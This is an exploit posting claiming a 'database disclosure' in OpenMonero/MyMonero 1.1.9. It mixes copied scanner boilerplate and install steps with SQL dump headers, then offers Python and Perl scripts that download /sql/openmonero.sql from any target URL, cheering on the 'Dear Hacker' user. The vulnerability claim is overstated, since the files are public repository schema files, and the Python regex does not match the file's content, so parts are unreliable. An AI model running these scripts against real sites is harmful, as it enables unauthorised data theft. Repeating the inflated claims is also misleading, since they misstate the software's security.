###########################################################################
# Exploit Title : OpenMonero MyMonero 1.1.9 Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 04/04/2019
# Vendor Homepage : mymonero.com
# Software Download Link : github.com/moneroexamples/openmonero/archive/master.zip
github.com/mymonero/mymonero-app-js/releases
# Software Information Link : github.com/moneroexamples/openmonero
# Software Version : 1.1.9 and other lower versions
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type :
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/
###########################################################################
# Description about Software :
***************************
Fully open sourced implementation of MyMonero backend - OpenMonero.
Open Monero's backend is open sourced, free to use, host and modify.
MyMonero is the simplest way to use private digital cash, at the sweet spot
between security, convenience, and features.
###########################################################################
# Impact :
***********
* The product stores sensitive information in files or directories that are accessible
to actors outside of the intended control sphere.
* An information exposure is the intentional or unintentional disclosure of information
to an actor that is not explicitly authorized to have access to that information.
* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of
MySQL over the World Wide Web. It can be used to dump a database or a collection of
databases for backup or transfer to another SQL server (not necessarily a MySQL server).
The dump typically contains SQL statements to create the table, populate it, or both.
This file contains an phpMyAdmin SQL dump. This information is highly sensitive and
should not be found on a production system.
* It looks like this file contains a database backup/dump.
Acunetix inferred this filename from the domain name. A database backup contains a record of the
table structure and/or the data from a database and is usually in the form of a list of SQL statements.
A database backup is most often used for backing up a database so that its contents can be restored
in the event of data loss. This information is highly sensitive and should never be found on a production system.
Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible
to the web server. As a workaround, you could restrict access to this file.
Information :
*************
Compilation of the OpenMonero (don't run it yet)
Once Monero was downloaded and compiled, we can download Open Monero and compile it.
In fact we could postpone compilation to later, but we can just do it now, to see if it compiles.
But don't run it yet. It will not work without database, setup frontend, and synced and running monero blockchain.
# need mysql++ library
sudo apt install libmysql++-dev
# go to home folder if still in ~/monero
cd ~
# download the source code of the devel branch
git clone --recursive https://github.com/moneroexamples/openmonero.git
cd openmonero
mkdir build && cd build
cmake ..
# altearnatively can use cmake -DMONERO_DIR=/path/to/monero_folder ..
# if monero is not in ~/monero
make
MariaDB/MySQL (using docker)
The easiest way to setup MariaDB is through docker (assuming that you have docker setup and running)
Create mariadb container called ommariadb and root password of root (change these how you want).
docker run --name ommariadb -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root -d mariadb
Create openmonero database called openmonero.
cd openmonero/sql
docker exec -i ommariadb mysql -uroot -proot < openmonero.sql
PhpMyAdmin (using docker)
A good way to manage/view the openmonero database is through the PhpMyAdmin in docker.
Using docker, this can be done:
docker run --name myadmin -d --link ommariadb:db -p 8080:80 phpmyadmin/phpmyadmin
where ommariadb is the name of docker container with mariadb, set in previous step.
With this, phpmyadmin should be avaliable at http://127.0.0.1:8080.
Nginx (using docker)
The fastest way to start up and server the frontend is through nginx docker image.
docker run --name omhtml -p 80:80 -v /home/mwo/openmonero/html:/usr/share/nginx/html:ro -d nginx
where omhtml is docker container name, 80:80 will expose the frontend on port 80 of the localhost,
and /home/mwo/openmonero/html is the location on your host computer where the frontend files
are stored. All these can be changed to suit your requirements.
Go to localhost (http://127.0.0.1) and check if frontend is working.
###########################################################################
Significant Files :
*****************
# /sql/openmonero.sql
-- phpMyAdmin SQL Dump
-- version 4.8.2
-- phpmyadmin.net
--
-- Host: localhost
-- Server version: 10.1.34-MariaDB
-- PHP Version: 7.2.7
-- Database: `openmonero`
-- Table structure for table `Accounts`
-- Table structure for table `Inputs`
-- Table structure for table `Outputs`
-- Table structure for table `Payments`
-- Table structure for table `Transactions`
-- Constraints for dumped tables
-- Constraints for table `Inputs`
-- Constraints for table `Outputs`
-- Constraints for table `Payments`
-- Constraints for table `Transactions`
###########################################################################
# /sql/openmonero_test.sql
-- phpMyAdmin SQL Dump
-- version 4.8.2
-- phpmyadmin.net
--
-- Host: localhost
-- Server version: 10.1.34-MariaDB
-- PHP Version: 7.2.7
-- Database: `openmonero_test`
-- Table structure for table `Accounts`
-- Truncate table before insert `Accounts`
-- Dumping data for table `Accounts`
-- Table structure for table `Inputs`
-- Truncate table before insert `Inputs`
-- Dumping data for table `Inputs`
-- Table structure for table `Outputs`
-- Truncate table before insert `Outputs`
-- Dumping data for table `Outputs`
-- Table structure for table `Payments`
-- Truncate table before insert `Payments`
-- Dumping data for table `Payments`
-- Table structure for table `Transactions
-- Truncate table before insert `Transactions`
-- Dumping data for table `Transactions`
-- Constraints for dumped tables
-- Constraints for table `Inputs`
-- Constraints for table `Outputs`
-- Constraints for table `Payments`
-- Constraints for table `Transactions`
###########################################################################
# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/sql/openmonero.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit
###########################################################################
# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army
use LWP::Simple;
use LWP::UserAgent;
system('cls');
system('OpenMonero MyMonero 1.1.9 Database Disclosure Exploit');
system('color a');
if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;
$File="sql/openmonero.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/sql/openmonero.sql");
if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/sql/openmonero.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}
###########################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###########################################################################